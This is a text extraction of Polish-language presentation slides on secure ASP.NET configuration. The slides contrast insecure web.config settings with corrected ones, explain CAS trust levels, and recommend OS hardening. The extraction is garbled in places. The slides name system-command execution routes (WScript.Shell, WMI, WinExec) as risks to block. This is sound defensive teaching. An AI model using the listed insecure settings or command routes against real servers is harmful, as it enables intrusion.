Leaving Debugging Enabled Nieprawidłowa konfiguracja <configuration> <system.web> <compilation debug="true"> Prawidłowa konfiguracja <configuration> <system.web> Znaczenie: <compilation debug="false"> - Pozostawienie włąw łączonej flagi debug umoŝliwia ujawnienie większej ilości informacji napastnikowi - Nawet prawidłowe ustawienie customerrors nie wystarczy, poniewaŝ niektóre narzędzia deweloperskie mogą ujawnić treść komunikatów w błęb łędów 67

Cookies Accessible Through Client-Side Script Nieprawidłowa konfiguracja <configuration> <system.web Web> <httpcookies httponlycookies="false false"> Prawidłowa konfiguracja <configuration> <system.web Web> Znaczenie: <httpcookies httponlycookies="true true"> - Ustawienie true spowoduje, Ŝe e aktywna zawartość strony nie będzie mieć dostępu do cookies - Czy nam to czegoś nie przypomina? 68

Cookieless Session State Enabled Nieprawidłowa konfiguracja <configuration> <system.web> <sessionstate cookieless="useuri"> Prawidłowa konfiguracja <configuration> <system.web> Znaczenie: <sessionstate cookieless="usecookies"> - Wartość UseCookies wymusza przechowywanie danych sesji przy pomocy mechanizmu ciasteczek, a nie przekazywanie ich przez adres URL 69

Top 10 don ts in ASP.NET configuration files (2) PoniŜsze błędne praktyki dotyczą aplikacji webowych opartych na ASP.NET, w których wykorzystuje się uwierzytelnianie Windows Forms - Cookieless Authentication Enabled - Failure to Require SSL for Authentication Cookies - Sliding Expiration Used - Non-Unique Authentication Cookie Used - Hardcoded Credentials Used Więcej informacji: - http:// ://www.devx.com/dotnet/article Article/32493 70

Poziomy zaufania CAS Aplikacji moŝna przypisać 1 z 5 poziomów w zaufania - Full - High - Medium - Low - Minimal MoŜliwe jest takŝe przygotowanie własnej definicji poziomu zaufania Szczególnie w przypadku oferowania hostingu dla podmiotów zewnętrznych poziom Full NIE JEST dobrym pomysłem! 71

High No unmanaged code No enterprise services Can access SQL Server and other OLE DB data sources Very limited reflection permissions No ability to invoke code by using reflection A broad set of other framework features are available Applications have full access to the file system, and to sockets Medium Permissions are limited to what the application can access within the directory structure of the application Low CAS No file access is permitted outside of the application's virtual directory hierarchy Can access SQL Server Can send e-mail by using SMTP servers Limited rights to certain common environment variables No reflection permissions whatsoever No sockets permission To access Web resources, you must explicitly add endpoint "URLs" either in the originurl attribute of the <trust> element or inside the policy file Intended to model the concept of a read-only application with no network connectivity Read only access for file I/O within the application's virtual directory structure Minimal Execute only No ability to change the "IPrincipal" on a thread or on the "HttpContext". 72

Błędna konfiguracja Plik web.config <location allowoverride="true"> <system.web> <securitypolicy> <trustlevel name="full" policyfile="internal"/> <trustlevel name="high" policyfile="web_hightrust.config"/> <trustlevel name="medium" policyfile="web_mediumtrust.config"/> <trustlevel name="low" policyfile="web_lowtrust.config"/> <trustlevel name="minimal" policyfile="web_minimaltrust.config"/> </securitypolicy> <trust level="full" originurl=""/> </system.web> </location> 73

Jak sprawdzić jej skutki? Narzędzia Dinis Cruz, OWASP - http://www.owasp.org - ANSA Asp.Net Security Analyser V0_31b - ANBS Asp.Net Baseline Security v. 0.55 Pobrane narzędzia wgrywamy do głównego katalogu aplikacji WWW i uruchamiamy - http://<web_app>/ansa_v0_31b/default.aspx - http://<web_app>/anbs_v0_55/anbsfiles/default.asp 74

75

76

Problemy Zbyt wysoki poziom zaufania - Jak go obniŝyć? - Jak zapewnić, Ŝe uŝytkownik pojedynczej aplikacji go nie zmieni? - Czy moŝna zróŝnicować poziom zaufania między aplikacjami? Konfiguracja systemu - moŝliwość wykonania poleceń systemowych: - Za pośrednictwem WSCRIPT.SHELL - Przy pomocy interfejsu WMI - Dzięki wywołaniom WinExec API Ponownie widać, jak istotne jest współgranie róŝnych elementów zabezpieczeń! 77

ObniŜamy poziom zaufania (1) Średni poziom zaufania dla wszystkich aplikacji na konkretnym serwerze <location allowoverride="false false"> <system.web web> <securitypolicy>... </securitypolicy securitypolicy> <trust level="medium" originurl="" /> </system.web web> </location location> 78

ObniŜamy poziom zaufania (2) ZróŜnicowanie poziomu zaufania w pliku machine.config config <location path="app1. ="app1.pl" allowoverride="false false"> <system.web web> <trust level="medium" originurl="" /> </system.web web> </location location> <location path=" ="myadminapp" allowoverride="false false"> <system.web web> <trust level= High High" originurl="" /> </system.web web> </location location> 79

Konfigurujemy system Mimo dostosowania ustawień ASP.NET najlepiej będzie nie pominąć dodatkowego utwardzenia systemu - Zablokowanie dostępu do obsługi Windows Management Instrumentation dla wszystkich uŝytkowników poza administratorem systemu przy wykorzystaniu aplikacji Zarządzanie Komputerem - Zablokowanie moŝliwości tworzenia obiektów Windows Script Host innym uŝytkownikom niŝ administrator systemu - Aplikacje webowe nigdy nie powinny korzystać z konta posiadającego uprawnienia SYSTEM To przykład podejścia Defence-in in-depth 80

Bezpieczna konfiguracja - podsumowanie Ograniczenie poziomu zaufania aplikacji webowych ZastrzeŜenie dostępu do informacji wewnętrznych (np( np. szczegółowych komunikatów o błędach) Odpowiednie uŝycie Konfiguracja serwera WWW - Tworzenie pul aplikacji i limitów dla pul Konfiguracja systemu operacyjnego - Zasada minimalnych przywilejów (korzystamy z konta ASPNET, nie z konta systemowego!) - ZastrzeŜenie dostępu do interfejsów umoŝliwiających wywoływanie poleceń systemowych 81

Podsumowanie 82

Bezpieczeństwo usługi Nie ma idealnego remedium Bezpieczna usługa musi być: - Odpowiednio zaprojektowana - Dobrze napisana - NaleŜycie skonfigurowana - Zainstalowana na skutecznie chronionym serwerze - Obsługiwana przez rozsądnego uŝytkownika - Regularnie audytowana Wszystkie powyŝsze elementy tworzą spójną całość, największe problemy to: - Dostarczenie wiedzy dla wszystkich zainteresowanych stron - Ułatwienie działań sobie, ale i innym Defence-in in-depth 83

Co warto zapamiętać? Usługi internetowe są naraŝone na szereg ataków - Szczególnie zagroŝone one są s usługi ugi związane zane z przepływem danych osobowych i środków w finansowych (np. e-sklepy, portale społecznościowe) Główną rolę w zabezpieczaniu e-usług ug odgrywają ich twórcy oraz administratorzy systemów - NajpowaŜniejszym i najczęściej występującym błędem na poziomie kodu źródłowego jest nieodpowiednie filtrowanie danych lub jego brak Odpowiednie zabezpieczenie usług to kwestia kluczowa i złoŝona, ale nie do uniknięcia Knowing how to live with insecurity is the only security J. Allen Paulos 84

Więcej informacji (przykłady) Cykl artykułów na portalu Startup-it it.pl,, rozszerzający tematykę dzisiejszej prezentacji (takŝe o kod PHP) Raport Zespołu u Bezpieczeństwa PCSS nt. bezpieczeń eństwa e-sklepów (np. sesje internetowe) - http://security security.psnc.pl/reports/sklepy_internetowe internetowe_cookies.pdf Szkolenia MIC - http://mic mic.psnc.pl/pl/events/ev ev_181207. _181207.html (bezpieczny kod) TOP 10 Don ts in ASP.NET configuration files - http:// ://www.devx.com/dotnet/article Article/32493 The Open Web Application Security Project (m.in. narzędzie ANSA) - http://www www.owasp.orgorg 85

Ciekawe pozycje ksiąŝkowe Tworzenie bezpiecznych aplikacji Microsoft ASP.NET Udoskonalanie zabezpieczeń aplikacji i serwerów internetowych Bezpieczny kod - tworzenie i zastosowanie Więcej ksiąŝ ąŝek: - http:// ://www.microsoft.com/poland/security security/books/d efault.mspx (PL) - http:// ://www.microsoft.com/learning/books books/security/ default.asp asp (EN) 86

Zapraszamy (1): Startup-IT - Warsztaty Tworzenie serwisów internetowych (27.02 - rejestracja zamknięta :( i 13.03.2009) PHP czy.net? A moŝe e coś innego? Zabezpieczenia serwisów internetowych i ich łamanie Zabezpieczenia serwerów internetowych Zabezpieczanie aplikacji webowych w środowisku ASP.NET - Artykuły y ekspertów np.. cykl Filtrowanie danych w aplikacjach internetowych - http://www www.startup-it. -it.pl 87

Zapraszamy (2): Centrum Innowacji Microsoft - Program szkoleń bezpieczeństwa MIC m.in in.. warsztaty Omijanie firewalli w systemach Windows http://mic mic.psnc.pl/pl/tasks/ /tasks/lect.html - III Konferencja MIC - Dzień otwarty 16.04.2009, Poznań Interoperacyjność ść,, wirtualizacja, bezpieczeństwo Wkrótce więcej informacji i rejestracja na stronach MIC 88

Informacje kontaktowe Autor prezentacji - gerard.frankowski frankowski@man.poznan.plpl Centrum Innowacji Microsoft - http://mic mic.psnc.plpl - mic@man man.poznan.plpl PCSS - http://www www.pcss.plpl Zespół Bezpieczeństwa PCSS - http://security security.psnc.plpl - security@man man.poznan.plpl 89

Pytania i dyskusja Dziękuj kuję za uwagę! 90